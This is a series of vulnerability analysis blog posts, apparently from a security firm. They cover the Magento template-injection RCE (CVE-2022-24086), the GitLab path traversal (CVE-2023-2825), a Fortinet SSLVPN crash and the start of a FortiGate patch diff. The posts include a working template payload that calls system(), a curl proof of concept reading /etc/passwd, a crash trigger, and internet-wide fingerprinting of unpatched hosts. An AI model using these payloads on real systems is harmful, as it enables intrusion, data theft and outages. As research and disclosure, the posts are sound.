Adobe Commerce is a hugely popular e-commerce platform. While on the surface, it appears simple - a CMS with some added cart/checkout functionality - the truth is that it is a large, complex application, allowing advanced operations such as templating items based on properties, management of multiple sites, and a particularly comprehensive customisation and templating engine.

But How Does It Work?

This customisation engine allows almost everything imaginable, from changing text elements on the website all the way to writing custom plugins. To see how it works, we can simply take a look at some of the default pages, which use the engine extensively. I picked vendor/magento/theme-frontend-luma/Magento_Email/email/footer.html which contains a simple example:

<p class="address">
	{{var store.formatted_address|raw}}
</p>
A simple variable substitution

When we look at the webpage, we see the formatted store address. Magento has processed the line inside the curly braces, and produced some output.

While this is a simple example, the language used for this customisation is surprisingly complex (see the documentation) and allows for an almost limitless range of behaviour beyond simple text substitution. Typically, though, this functionality not exposed to end-users directly - rather, site staff use the templating engine to configure the store itself. For example, a salesperson could devise an email template to be sent to prospective buyers, and use variable substitution to insert the particulars of the recipient along with a product they may be interested in.

There are a few exceptions to this 'staff-only' rule, however, and this is where things start to get interesting, as they allow an unprivileged attacker to make use of the templating engine.

One such exception is in the 'Wishlist' module, which is designed to allow an end-user of the store to create a list, of items they wish for, which can then be shared via email. What makes it interesting to us is one seemingly-minor detail - the templating engine runs on the outgoing email before it is sent. Let's explore this functionality a little bit more.

But Why?

Firstly, we'll do a simple variable substitution. We create a wishlist on a Magento site, and then request that the wishlist is shared via email to an address we control. Since we can specify the body of the email we send, we'll be specifying the body to be hello {{var store.frontend_name}} world. Let's see what's actually sent in the email:

root@host:/# postcat -qb 85FC5CBD35| grep hello
m test test:</h3>=0A            hello Main Website Store world=0A      =20=

As any astute reader can see, the injected variable was substituted with the name of the store - "Main Website Store".

This confirms we've got access to the system templating engine as a non-administrative user. But what can we do with it? Well, maybe we could experiment and see if we could read out sensitive information such as database credentials. But why? Why limit ourselves? It turns out we can set our sights even higher than this, due to the (perhaps unintended?) power of the templating engine.

Arbitrary Code Execution

As you'll recall from previous mentions of string interpolation bugs, the 'smoking gun' that really enables useful exploitation is the ability to execute arbitrary commands from an interpolated value. This is at the core of any bug in this class, and CVE-2022-24086 is no different, although slightly more complicated to figure out.

The functionality hinges on two functions exposed to the templating engine - getTemplateFilter and addAfterFilterCallback. The first will allow us to get a reference to a 'filter' object, which is used to transform incoming data before processing, and the second allows us to attach a PHP function to it (!). This is intended to be used by plugin developers to sanitise and transform user input, deferring processing to PHP code either in the Magento application itself or an administrator-provided PHP-language plugin.

It's actually easier to demonstrate this than it is to explain it, so here's a quick example:

{{var this.getTemplateFilter().filter('test')}}{{var this.getTemplateFilter().addAfterFilterCallback(system).filter(touch${IFS}/tmp/test)}}
Note the use of the ${IFS} operator to avoid whitespace in the argument. 

This will obtain a reference filter named 'test', and then attach a callback to it, instructing it to execute the 'system' PHP command with the arguments 'touch /tmp/test'. Running this query yields evidence that our command has executed on the server:

root@host:/bitnami/magento# ls /tmp/test -l
-rw-rw-r-- 1 daemon daemon 0 Feb 26 21:07 /tmp/test

Good news for attackers, bad news for defenders.

In the real-wordl, this is much more nefarious - within the watchTowr Platform, we deliver a second-stage payload - and all the bad guys out there could be delivering reverse shells. Indeed, this is what we've seen when the bug is exploited in the wild.

It's worth noting that the 'wishlist' module is not the only module to expose the templating engine to untrusted users. We've noted that across our client base, and in attacks seen in-the-wild, exploitation is usually best aimed at the checkout process rather than the 'wishlist' module - perhaps since the wishlist might not be present on all installations?

Fingerprinting EOL'ed installations

For many people, this is the end of the story - the bug has been analysed, a PoC has been created, and we have a good understanding of what's going on. But for us here at watchTowr, the story is just beginning - we secure our clients and detect exploitable deployments of Adobe Commerce before they are exploited, which means we must detect at scale as rapidly as possible.

While we are not here to arm everyone, there are trivially identifiable exploitable instances, such as those running End-Of-Life versions of Magneto. Since no patch is available, these installations are almost certainly vulnerable.

As a demonstration, let's take a look at some hosts on the Internet and see how we can detect these EOL'ed versions, and also look at the kind of version distribution we see.

We start off with a quick Shodan search for the X-Magento-Vary header, which Magento helpfully emits on every HTTP response. This search detects 12,500 Magento installs, and to keep things manageable, we'll confine our work to the first 1000.

The obvious solution is to observe the Magneto version number, but Magneto makes this very difficult to do. Rather than reveal the full version of the software (such as 1.2.3p4), Magneto exposes only the major and minor versions. This is done via the /Magneto_version endpoint. While this is not a high level of detail, it allows us to quickly detect instances running 2.3 and below (at the time of writing, anything below 2.4.4 is EOL).

Adobe Commerce (Magento) CVE-2022-24086 : Return Of The Text Interpolation

Note that since this is a single HTTP response, it is very easy for us to scale (for example, via a Nuclei template).

Running this on our 1000 hosts gives the following breakdown:

  • Magneto/2.1: 12 (1.2%)
  • Magneto/2.2: 40 (4%)
  • Magneto/2.3: 212 (21%)
  • Magneto/2.4: 302 (30%)
  • Other: 566 (56%)

Our single request has quickly determined that a whopping 25% of hosts are running an outdated version of Magneto and require further attention.

The remaining 75% of installations aren't necessarily safe, however. As I mentioned, versions below 2.4.4 are (at the time of writing) EOL. A number of hosts running these versions may be hiding in the 30% of hosts which report "Magneto/2.4".

Magneto is very averse to revealing this information, however, and so we are forced to turn to more 'sneaky tricks' - in this case, fingerprinting static resources. After some investigation, we found that one change introduced in 2.4.4 is the upgrade of the tinymce package, from version 4 to version 5. This seemingly-unrelated change is actually very easy to detect - we can simply requested the tinymce static resource ( /static/adminhtml/Magento/backend/en_US/tiny_mce_5/tinymce.min.js) and if it is not present, we know that the host is running a version lower than v2.4.4, and is thus EOL'd. Let's take a look at how these versions are present on our 1000-host sample:

  • tinymce 4 present (probably < 2.4.4): 415 hosts (41%)
  • tinymce 5 present (probably <= 2.4.4): 230 hosts (23%)
  • None present (indeterminate): 355 (35%)

This has found a further 41% of our hosts which are running EOL'd software and are thus almost certainly of importance to the owners.

Conclusion

This kind of 'interpolation' bug is interesting from a technical standpoint, but is also often difficult to detect in real-world codebases. This instance is particularly damaging due to its pre-auth exploitability, and the huge installation base of Adobe Commerce - combined with the the valuable data typically held

We took a look at the bug itself, showing how it can be exploited (and, by extension, how you can confirm if your hosts are vulnerable). While we used the 'Whislist' functionality as an attack vector, in-the-wild attacks use the more generic 'Checkout' functionality.

Finally, we've also demonstrated how to perform a fast sweep of the public Internet, and found that around a whopping 40% of hosts are running outdated software. Hopefully, they are honeypots and not production instances!

At watchTowr, we believe continuous security testing is the future, enabling the rapid identification of holistic high-impact vulnerabilities that affect your organisation.

If you'd like to learn more about the watchTowr Platform, our Continuous Automated Red Teaming and Attack Surface Management solution, please get in touch.

GitLab Arbitrary File Read (CVE-2023-2825) Analysis

By: Sonny
25 May 2023 at 09:21
GitLab Arbitrary File Read (CVE-2023-2825) Analysis

At watchTowr, some systems are interesting, and some systems are very interesting. When we see impactful, exploitable vulnerabilities dropping out of the sky in typically critical systems - like GitLab - our attention is piqued. It's our job to understand emerging weaknesses, vulnerabilities and misconfigurations - and quickly translate that knowledge into an answer to the question of "how does this impact our clients?".

Through our rapid PoC process, we enable our clients to understand if they are vulnerable to emerging weaknesses before active, indiscriminate exploitation can begin - continuously.

For the unaware, GitLab is a widely used, enterprise-grade web application for managing source code repositories at scale.

In this blog post we’ll be discussing a fresh vulnerability that has been issued an advisory by Gitlab with a CVSS score of 10.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N).

It’s an interesting one, so let’s get started right away, taking a look at what the vendor shares about the vulnerability:

An issue has been discovered in GitLab CE/EE affecting only version 16.0.0. An unauthenticated malicious user can use a path traversal vulnerability to read arbitrary files on the server when an attachment exists in a public project nested within at least five groups.

The most unusual thing about this advisory are the conditions that were required for exploitation to take place. Why specifically five groups? Why not one, or twelve, or 1337 for that matter?

Given just the information that we are provided in the advisory, we wanted to see if we could reproduce the vulnerability. For this, we’ll be using Burp Suite and a local installation of the vulnerable software - Gitlab Community Edition v16.0.0.

Setting up the target environment

Setting up the target is refreshingly straightforward, thanks to the Docker images available from the official Gitlab DockerHub account. The ‘tags’ section reveals that a tag exists for the version we’re after - 16.0.0-ce. We can run this image with the following command:

docker run -p 80:80  --hostname=hostname --env=PATH=/opt/gitlab/embedded/bin:/opt/gitlab/bin:/assets:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin --env=LANG=C.UTF-8 --env=EDITOR=/bin/vi --env=TERM=xterm --volume=/etc/gitlab --volume=/var/log/gitlab --volume=/var/opt/gitlab --label='org.opencontainers.image.ref.name=ubuntu' --label='org.opencontainers.image.version=22.04' --runtime=runc -d gitlab/gitlab-ce:16.0.0-ce

To reset the root account’s password, open up the container’s terminal and run:

gitlab-rake "gitlab:password:reset[root]"

Reproducing the bug

As we saw in the vendor advisory, an attacker requires two things:

  • Firstly, an attachment of some kind,
  • And secondly, a public project which is nested within at least five groups.

Creating five groups can be done with the root account. It’s important to make sure that they’re nested. While configuring these, you might start guessing about the nature of the bug - perhaps some kind of loop or path normalization, perhaps the names of each subgroup are concatenated in some weird way. Either way, once you’re done, the result should look something like this:

GitLab Arbitrary File Read (CVE-2023-2825) Analysis

Let’s navigate to Group 5, create a project, and then start looking for ways to create an attachment inside that project.

Intuition guides us to start by looking at the ‘issues’ section, and the comment features surrounding them. Bingo, there is an ‘attachment’ section (shown below).

Now we’ve found the page that exposes the attachment functionality, it’s time to fire up Burp Suite and start looking at the HTTP traffic involved when we create a new attachment!

GitLab Arbitrary File Read (CVE-2023-2825) Analysis

We create a new issue, save it, take a look at the HTTP traffic. One thing that immediately caught our attention is the token that is present in the URI. This request is authenticated, so why is a token needed? Could this be the clue that alludes to the project having to be public in order to obtain this token value?

GitLab Arbitrary File Read (CVE-2023-2825) Analysis

It is helpful now to recall the CVSS score of this, a whopping 10.0. This score implies that a user can access all files on the target system. Typically, an issue of this severity could take the form of a path traversal of sorts (as confirmed by the advisory title). Burp Suite includes functionality to automate discovery of many such bugs - so let’s try our luck with that before we do any manual work.

Burp Suite has an inbuilt wordlist for path traversal and a variety of encodings that have been helpful for detecting and exploiting different forms of path traversal. Typically to find this class of bug, we would use “Fuzzing - path traversal (single file)” then simply replace the {FILE} pattern with a file which we know is present on the target system - /etc/passwd is usually a good bet.

GitLab Arbitrary File Read (CVE-2023-2825) Analysis

We fire this off, and cross our fingers, but it seems today is not our lucky day - there are no retrievals of the file we specified, /etc/passwd, and a look through the status codes and response lengths doesn’t reveal any interesting outliers either. Back to the drawing board!

At this point, it is helpful to know where on the target’s filesystem our attachment file is located. We used the GNU find command to locate it, revealing the path:

/var/opt/gitlab/gitlab-rails/uploads/@hashed/6b/86/6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b/70d9ea90ac2a4a46440dffc9f8c0770e/blank.txt

Instead of attempting to fetch the high-impact /etc/passwd file, let’s try finding something simpler so that we can understand the bug. Noticing that there’s a relatively deep directory structure, we created a flag.txt file two levels above the attachment file itself.

echo flag-is-here > /var/opt/gitlab/gitlab-rails/uploads/@hashed/6b/86/flag.txt

Now, we can retry our earlier fuzzing process, but this time instead of attempting to retrieve /etc/passwd we can instruct the fuzzer to attempt to retrieve flag.txt. Lo and behold, this time we see success:

GitLab Arbitrary File Read (CVE-2023-2825) Analysis

It’s apparent that the specific URL encoding to reach the file is ..%2f ,  shown below in the full request/response. Note that requests such as ../../flag.txt are handled correctly, while the HTTP-encoded ..%2f..%2fflag.txt are not, exposing the vulnerability.

GitLab Arbitrary File Read (CVE-2023-2825) Analysis

Finally, we have reproduced the vulnerability from the vendor advisory! Our work is not yet done, however. For example, why did we achieve no results when trying to read /etc/passwd? Now that we understand the bug itself, it’s time to figure out why the initial fuzzing failed, and how can we overcome the issue in the future.

Note that if we traverse back as many directory levels as possible, we can see the web server responds with a 400 Bad Request when it reaches as many paths as we have in current URI. This is normal behaviour for a webservice such as this - it is nonsensical to use .. to traverse to a level above the domain name itself.

GitLab Arbitrary File Read (CVE-2023-2825) Analysis

This is when the thought crossed our minds - perhaps we can only traverse as many directories as there are subgroups present in the project? The more subgroups we have, the more elements will be in the URL, and thus the more .. we can specify.

It turns out, this is easy to test - we can simply keep creating more and more subgroups, until we hit gold. Some quick tests revealed that 9 was the magic number to hit the /etc/ directory:

GitLab Arbitrary File Read (CVE-2023-2825) Analysis

Full PoC via cURL:

curl -i -s -k -X $'GET' \
-H $'Host: 127.0.0.1' \
$'http://127.0.0.1/group1/group2/group3/group4/group5/group6/group7/group8/group9/project9/uploads/4e02c376ac758e162ec674399741e38d//..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd'

But Why?

With the vulnerability thoroughly understood, and exploitation pinpointed, the only remaining step in this exercise is to narrow down exactly where in the code this happened, and when the bug was introduced. We first tested the patched version 16.0.1-ce.0 and the version prior to the vulnerable 15.11.5-ce with our current payload/methodology.

We found, interestingly, that while 15.11.5-ce does exhibit some behaviour similar to 16.0, there was no vulnerability present.

As this is an open source project, and all of the commits are available, we can go searching through source control to find the bug itself (and often come across some useful analysis by the developers). Luckily enough for us, we quickly find a commit entitled “Fix arbitrary file read via filename param” which seems to contain the code we’re interested in.

Also enlightening to us, the changes also contain additional validation logic and modifications to two existing files:

  • /app/uploaders/object_storage.rb
  • /app/controllers/concerns/uploads_actions.rb

It is interesting to note that the lead to the payload can be found in comments for the file /spec/support/shared_examples/requests/uploads_actions_shared_examples.rb:

GitLab Arbitrary File Read (CVE-2023-2825) Analysis

Ruby is not a language that I particularly enjoy so my analysis is rudimentary at best - however, we don’t need to be experts in a particular language to understand what’s going on. If we look through the differences between three versions of the file:

Pre-Vulnerable: 15.11.5-ce.0

Vulnerable: 16.0.0-ce.0

Post-Patch: 16.0.1-ce.0

We can see one of the outstanding changes lies within the file /app/uploaders/object_storage.rb.

In the vulnerable version, a new method for “retrieve_from_store()” was introduced with detailed comments as to why it is there to handle the specific variable for “@filename

The intention is to handle scenarios where fetching the file may have the hash or the path of the file contained within the value. This logic will separate the values, splitting so that only the actual filename is set:

GitLab Arbitrary File Read (CVE-2023-2825) Analysis

In the patched version, new filtering and validation functions are introduced to prevent the injection of path traversal elements. They can be found in the method Gitlab::Utils.check_path_traversal:

GitLab Arbitrary File Read (CVE-2023-2825) Analysis

How impactful is this vulnerability?

It goes without saying that being able to read local files as deep as the root of the server is critical. However, the conditions required for successful exploitation are unusual:

  • 5-9 Nested Groups
  • A Public Project
  • An Attachment

Realistically, it is unlikely that these conditions will be met organically. However, if an attacker can register their own project, they may be able to cultivate the environment required for successful exploitation.

By default, new users are permitted to sign up to on community editions of GitLab, but each new user requires an administrative approval. If these administrative approvals are disabled, there are various other options that can be applied by administrators (such as email domain validation) which may mitigate risk to an acceptable level by allowing only trusted users to manipulate the environment.

Conclusion

This has been an awesome bug to explore! I hope you’ve enjoyed reading, and gained some insights into the process of reversing a CVE advisory to a PoC exploit.

One of the key takeaways from this is the ability to understand the vulnerability in the context of the application internals. This CVE is an excellent demonstration of moving through a different context than is being shown on the surface of the web application, so huge kudos to the original discoverer.

Going forward, I’d like to use the technique of pushing flags and canaries to every directory on the server, to see if we have some level of traversal apparent. We can’t always immediately reach /etc/passwd and get the golden screenshot, but this doesn’t necessarily mean there aren’t other items to catch.

Lets hunt for the behaviour first then move on from there.

At watchTowr, we believe continuous security testing is the future, enabling the rapid identification of holistic exploitable vulnerabilities that affect your organisation.

If you'd like to learn more about the watchTowr Platform, our Attack Surface Management and Continuous Automated Red Teaming solution, please get in touch.

Fortinet and The Accidental Bug

9 June 2023 at 06:52
Fortinet and The Accidental Bug

As part of our Continuous Automated Red Teaming and Attack Surface Management capabilities delivered through the watchTowr Platform, we see a lot of different bugs in a lot of different applications through a lot of different device types. We're in a good position to remark on these bugs and draw conclusions about different software vendors.

Our job is to find vulnerabilities, and we take a lot of pride in doing so - it's complex and intricate work. But, it is deeply concerning when this work is trivial in targets that are supposed to be a bastion of security. One common theme that we've seen a lot is that appliances, designed to be deployed at security boundaries, are often littered with trivial security issues.

Today we'd like to share one such example, a scarily-easy-to-exploit vulnerability in the SSLVPN component of Fortinet's Fortigate devices, which we discovered during our research into a totally unrelated bug, and still hasn't been fixed, at the time of writing, despite an extension to the usual 90-day disclosure period.

Before We Begin

So. Let's talk about bugs in general. Bugs are, let's face it, a fact of life. Every vendor has them, and sometimes, they turn into fully-fledged vulnerabilities. There is a common knee-jerk reaction to avoid software by vendors that've had recent hyped bugs, but this is usually short-sighted folly. All vendors have bugs. All vendors have vulnerabilities.

.. However..

Some bugs are more understandable than others, and indeed, some bugs make us question the security posture of the responsible parties.

I'm sure you remember a previous post in which I go into detail about CVE-2022-42475, a vulnerability in a Fortinet appliance which was a pretty serious oh-no-the-sky-is-falling bug for a lot of enterprises. But let's remember our mantra - fair enough, bugs happen, let's not pile on to Fortinet for it.

The Bug

Fortinet and The Accidental Bug
With apologies to Webcomic Name

While researching CVE-2022-42475 as part of our rapid reaction capability for clients, we started to notice some unusual errors in our test equipment's logging. The sslvpn process was seemingly dying of a segfault. Initially, we imagined we were triggering our targetted bug for analysis via different code path.

Unfortunately, this was not the case - it turned out to be a completely new bug, found entirely by accident. This was determined by taking a look at the debug log (via diagnose debug crashlog read) which helpfully yields a stack trace:

15: 2022-12-13 05:35:29 <01230> application sslvpnd
16: 2022-12-13 05:35:29 <01230> *** signal 11 (Segmentation fault) received ***
17: 2022-12-13 05:35:29 <01230> Register dump:
18: 2022-12-13 05:35:29 <01230> RAX: 0000000000000000   RBX: 0000000000000003
19: 2022-12-13 05:35:29 <01230> RCX: 00007fff7f4761d0   RDX: 00007fa8b2961818
20: 2022-12-13 05:35:29 <01230> R08: 00007fa8b2961818   R09: 0000000002e54b8a
21: 2022-12-13 05:35:29 <01230> R10: 00007fa8b403e908   R11: 0000000000000030
22: 2022-12-13 05:35:29 <01230> R12: 00007fa8b296f858   R13: 0000000002dc090f
23: 2022-12-13 05:35:29 <01230> R14: 00007fa8b3764800   R15: 00007fa8b2961818
24: 2022-12-13 05:35:29 <01230> RSI: 00007fa8b2961440   RDI: 00007fa8b296f858
25: 2022-12-13 05:35:29 <01230> RBP: 00007fff7f4762a0   RSP: 00007fff7f4761a0
26: 2022-12-13 05:35:29 <01230> RIP: 00000000015e2f84   EFLAGS: 0000000000010286
27: 2022-12-13 05:35:29 <01230> CS:  0033   FS: 0000   GS: 0000
28: 2022-12-13 05:35:29 <01230> Trap: 000000000000000e   Error: 0000000000000004
29: 2022-12-13 05:35:29 <01230> OldMask: 0000000000000000
30: 2022-12-13 05:35:29 <01230> CR2: 0000000000000040
31: 2022-12-13 05:35:29 <01230> stack: 0x7fff7f4761a0 - 0x7fff7f4793b0 
32: 2022-12-13 05:35:29 <01230> Backtrace:
33: 2022-12-13 05:35:29 <01230> [0x015e2f84] => /bin/sslvpnd  
34: 2022-12-13 05:35:29 <01230> [0x015e3335] => /bin/sslvpnd  
35: 2022-12-13 05:35:29 <01230> [0x01586f08] => /bin/sslvpnd  
36: 2022-12-13 05:35:29 <01230> [0x01592c82] => /bin/sslvpnd  
37: 2022-12-13 05:35:29 <01230> [0x016a4c9d] => /bin/sslvpnd  

A segfault such as this would often indicate a bug exploitable for remote code execution, and so our interest was piqued. Let's take a look at the faulting code:

mov     rax, [rbp+var_F8]
mov     rdx, r15
mov     rdi, r12
mov     r9, [rbp+var_F0]
mov     rsi, [rbp+var_D8]
lea     rcx, [rbp+var_D0]
movzx   r8d, byte ptr [rax+40h] <-- crash here
call    sub_15E1F80

As you can see, we're trying to dereference the NULL pointer, and pass it to another function. In a higher-level language, such as C, the code might look like this (I've added guessed variable names to try to make things more informative):

sub_15E1F80(conn, reqInfo, helper, &var_D0, *var_F8->memberAt0x40, unknown);

The NULL dereference is occurring because the var_F8 variable contains zero (you can see from the register dump above, the RAX register is, indeed, zero). But why? What should this member do, and why isn't it doing it?

Well, it's quite difficult to know for sure, given only a stripped binary. But we can make some guesses. Since var_F8 is assigned to the result of the function sub_16B8300, let's take a look at what the other callers of this function do with the result. Here's one:

    v4 = sub_16B8300(a2);
    if ( v4->memberAt0x40 )
      v7 = AF_INET6;
    else
      v7 = AF_INET;
    v9 = socket(v7, 1, 6);

It looks like the result is tested to see if it is an ipv4 socket or an ipv6 socket, and a socket is instantiated appropriately by the code. It seems likely that this function returns some kind of socket, perhaps attached to the IO of the request. Another function is more cryptic, but demonstrates the bit-twiddling that is a signature of socket and file descriptor code:

v5 = sub_16B8300(v3);
v14 = ((*(*(v5 + 80) + 112LL) >> 3) ^ 1) & 1;
*v5->memberAt0x40 = v14;

Going back to our crash itself, it's interesting to note that the crash occurs when we send a HTTP POST request to /remote/portal/bookmarks containing no data payload. This would seem to align with our 'IO of the request' theory - if the POST request has a Content-Length of zero, the socket may be closed before the handler gets a chance to run.

It is somewhat alarming that the crash is so easy to trigger, although we are somewhat relieved to report that authentication as a VPN user is required before this endpoint is accessible. Additionally, the results of a more involved analysis, carried out by watchTowr engineers, indicates that exploitation is limited to this denial-of-service condition and does not permit code execution.

However, one could easily imagine a disgruntled employee running a script to repeatedly crash the SSLVPN process, - or worse yet - an attacker trying to prevent access to an environment, to hinder response to another cyber security incident - both scenarios rendering the VPN unusable for the entire workforce. While it's not as bad as the world-ending remote-code-execution bugs we've seen lately (and indeed, were released as this post was in the final stages being drafted) it's still a worrisome bug.

When I say this bug is 'worrisome', I mean this on more than one level. On the surface, of course, it allows adversaries to crash a system service. But it is also worrisome in its pure simplicity.

A Trend

It would be nice if we could say that discovering this bug was a one-in-a-million chance, or that it required the skill of a thousand 'Thought Leaders' - but this just isn't the case based on our experience thus far.

The fact that we discovered this bug while hunting for details of a separate bug does not inspire confidence in the target, and the simplicity of the bug trigger is alarming. While we usually shy away from remarking on a vendor's internal development processes due to the inherent lack of visibility we have, it is very difficult to resist in this case. This does seem very much like the kind of 'textbook' condition that could be discovered very easily by anyone with a basic HTTP fuzzer, which raises serious questions for ourselves about how much assurance Fortinet is really in a position to provide to its userbase. Bugs are an inevitable fact of life, but at least some bugs should not make it to production.

It is, of course, risky for an outside organisation such as ours to make such statements about the internal practices of a software development house. There may be some mitigating reason why this bug wasn't detected earlier, perhaps some complexity hidden within the SDLC which we are hitherto unaware of. However, even if that were the case, we find it difficult to imagine how simple end-to-end HTTP fuzzing would fail to locate a bug like this before a release to production.

One way we can get a further glimpse into Fortinet's practices is by sifting through their release notes. Taking a cursory look reveals some truly alarming bugs - my personal favourite was "WAD crash with signal 11 caused by a stack allocated buffer overflow when parsing Huffman-encoded HTTP header name if the header length is more than 256 characters". It is difficult to imagine a scenario in which that doesn't yield a serious security issue, yet Fortinet don't go into details, and we were unable to locate any security advisory related to this bug, which means that for many people it has gone unnoticed. I imagine the kind of threat actors who are specifically interested in routing platforms comb these release notes, looking for easy quick-wins, exploitable n-day bugs which administrators are not aware of.

Another way to evaluate how seriously Fortinet takes this issue is in their response to it. Fortinet were given the industry-standard 90-day grace period to patch the issue, with an additional extension granted to allow them to fit into their regular release cycle. However, not only did Fortinet neglect to release a fixed version of the 7.2 branch, but the release notes for fixed versions of the 7.0 and 7.4 branches (7.0.11 and 7.4.0) don't appear to mention the bug at all, leaving those users who haven't read this watchTowr blog in the dark as to the urgency of an upgrade.

Conclusion

It is very easy, as a security researcher, to blame software vendors for poor security practices or the presence of 'shallow' bugs. Security is just one component in a modern software development lifecycle, and it is a fact of life that some bugs will inevitably "slip through the 'net" (you see what I did there?) and make it into production software. This is just the nature of software development. Consequently, we try very hard to avoid doing so - software development is difficult.

However, there is a limit to how far back we will push our sense of responsibility to the wider Internet. When vendors have bugs this shallow, this frequently, this is perhaps cause for alarm - and when bugs are buried in release notes, there is serious cause for concern - all in our opinion. The only thing worse than finding out that your firewall is vulnerable to a remote RCE is not finding out.

Fortinet and The Accidental Bug
It was not, indeed, fine

Being the responsible people we are, we also notified Fortinet of this discovery in accordance with our VDP.

Fortinet were prompt in their confirmation of the bug, and released fixes for two of the three branches of Fortiguard that they maintain - the bug is fixed in versions 7.0.11 and 7.4.0. The Fortiguard team then requested that we extend our usual 90-day release window until 'the end of May' to allow them to release a fix for the 7.5 branch, 7.2.5, a proposal which watchTowr accepted. However, this release has not materialised, and as such there is currently no released fix for the 7.2 branch. Those who operate such devices are advised to restrict SSL VPN use to trusted users if at all possible - hardly an acceptable workaround in our opinion.

Here at watchTowr, we believe continuous security testing is the future, enabling the rapid identification of holistic high-impact vulnerabilities that affect your organisation.

If you'd like to learn more about the watchTowr Platform, our Continuous Automated Red Teaming and Attack Surface Management solution, please get in touch.

Timeline

Date Detail
13th February 2023 Initial disclosure to vendor, vendor acknowledges receipt
2nd March 2023 Follow-up email to vendor
2nd March 2023 Vendor replies that they are working on the issue, and cannot provide a specific date but will keep watchTowr informed as the fix progresses
3rd April 2023 Inform vendor that watchTowr has adopted an industry-standard 90-day disclosure window, request that they release a fix before this window expires
5th April 2023 Vendor replies that a fix has already been developed and released for version 7.0.11 of FortiGuard. Vendor also reveals that a fix has been developed for versions 7.2.5 and 7.4.0, due to be released 'end of May' and 'end of April' respectively. Vendor requests that we delay disclosure until 'end of May' to align with their release schedule; watchTowr agrees
31st May 2023 Disclosure deadline; watchTowr requests that vendor shares CVE and/or 'Bug ID' identifiers to aid clients in tracking the issue
31st May 2023 Vendor requests additional time to develop fix, watchTowr does not agree

DISCLAIMER: This blogpost contains the personal opinions and perspectives of the author. The views expressed in this blogpost are solely those of the author and do not necessarily reflect the opinions or positions of any other individuals, organizations, or entities mentioned or referenced herein.

The information provided in this blogpost is for general informational purposes only. It is not intended to provide professional advice, or conclusions of internal software development processes or security posture. All opinions have been inferred from the experiences of the author.

Xortigate, or CVE-2023-27997 - The Rumoured RCE That Was

13 June 2023 at 02:10
Xortigate, or CVE-2023-27997 - The Rumoured RCE That Was

When Lexfo Security teased a critical pre-authentication RCE bug in FortiGate devices on Saturday 10th, many people speculated on the practical impact of the bug. Would this be a true, sky-is-falling level vulnerability like the recent CVE-2022-42475? Or was it some edge-case hole, requiring some unusual and exotic requisite before any exposure? Others even went further, questioning the legitimacy of the bug itself. Details were scarce and guesswork was rife.

Xortigate, or CVE-2023-27997 - The Rumoured RCE That Was
Here we go again..

Many administrators of Fortinet devices were, once again, in a quandary. Since Fortinet don't release discrete security patches, but require that users update to the current build of their firmware in order to remediate issues, updates to their devices are never risk-free. No administrator would risk updating the firmware on such an appliance unless a considerable risk was present. Does this bug represent that risk? We just don't (didn't!) know.

Here at watchTowr, we don't like speculation, and this kind of of vague risk statement - neither do our clients, and they expect us to be able to rapidly tell them if they're affected. Thus, we set out to clear the waters.

Patch Diffing

Since fixes for the vulnerable devices were quietly published by Fortinet, we decided to dive in and 'patch diff' the bug, comparing the vulnerable and patched versions at the assembly level to locate details of the fix. This gives us the ability to understand what has changed across the versions, and thus hone into potentially affected functions.

Unfortunately, this is particularly difficult in a device such as a Fortigate appliance, where all application logic is compiled into a large 66-megabyte init binary. Indeed, the 'resolved issues' section for the patched 7.0.12 states over 70 issues alone (including the enticing-sounding 'Kernel panic occurs when receiving ICMP redirect messages'). Time to wade through the changes!

Our toolset here was the venerable IDA Pro coupled with the Diaphora plugin, designed to aid in exactly this task. To give you an idea of scale, Diaphora 'matched' around 100,000 functions between the patched and the vulnerable codebase, with a further 100,000 it could not correlate.

However, one piece of information we have is that the bug affects only SSL VPN functionality, and so we zoomed in on changes related to just that. After disregarding a number of false positives, we come across a very interesting looking diff -

Xortigate, or CVE-2023-27997 - The Rumoured RCE That Was
'movzx', you say? Hmmm

Disregarding the noise, we can see that a number of movzx instructions have been added to the code (the vulnerable version is on the left, the fixed on the right). This is interesting as the movzx instruction - or "MOVe with Zero eXtend" - typically indicates that a variable with a smaller datatype is being converted into a variable of a larger datatype. For example, in C, this would usually be expressed as a cast:

unsigned char narrow = 0x11;
unsigned long wide = (unsigned long)narrow;

We've seen instances, time and time again, of bugs seeping into C-language code as developers mismatch variable datatype lengths. Perhaps this is our smoking gun?

Looking further, this function is called by the function rmt_logincheck_cb_handler, which is the callback handler for the endpoint /remote/logincheck, exposed to the world as part of the VPN code, without authentication. This looks like what we're interested in!

Taking a look at the code surrounding our diff is enlightening. Here's some cleaned-up C pseudocode that expresses the relevant part of the vulnerable version (7.0.11, for those of you following along at home). Note that this function receives the value of the enc URL parameter (along with its length).

__int64  sub_15DC6A0(__int64 logger, __int64 a2,  char *encData)
{
	lenOfData = strlen(encData);
	if (lenOfData <= 11 || (lenOfData & 1) != 0)
	{
		error_printf(logger, 8, "enc data length invalid (%d)\n", lenOfData);
		return 0xFFFFFFFFLL;
	}

	MD5Data(g_rmt_loginConn_salt, encData, 8, expandedSalt);
	char* decodedData = (char*)alignedAlloc(lenOfData / 2);
	if (!decodedData)
		return 0xFFFFFFFFLL;

	for(int n = 0; lenOfData > 2 * n; n++)
	{
		char msb = decodeEncodedByte(encData[n * 2    ]);
		char lsb = decodeEncodedByte(encData[n * 2 + 1]);
		decodedData[n] = lsb + (0x10 * msb);
	} 

	char encodingMethod = decodedData[0];
	if (encodingMethod != 0)
		printf("invalid encoding method %d\n", encodingMethod);

	short v14 = ((short*)decodedData)[1];
	unsigned char payloadLength = (v14 ^ expandedSalt[0]);
	v15 = (char)( expandedSalt[1] ^ LOBYTE(v14) );
	if (payloadLength > lenOfData - 5 )
	{
		error_printf(logger, 8, "invalid enc data length: %d\n", payloadLength);
		return 1LL;
	}
...

While this may seem intimidating, it's actually pretty simple, although there are a few things we need to note.

First, the code checks that the enc data is longer than 11 bytes, and an even length, before it proceeds to expand a salt via the MD5Data function Note that this salt is the result of MD5'ing the g_rmt_loginConn_salt concatenated with the first 8 bytes of the input string.

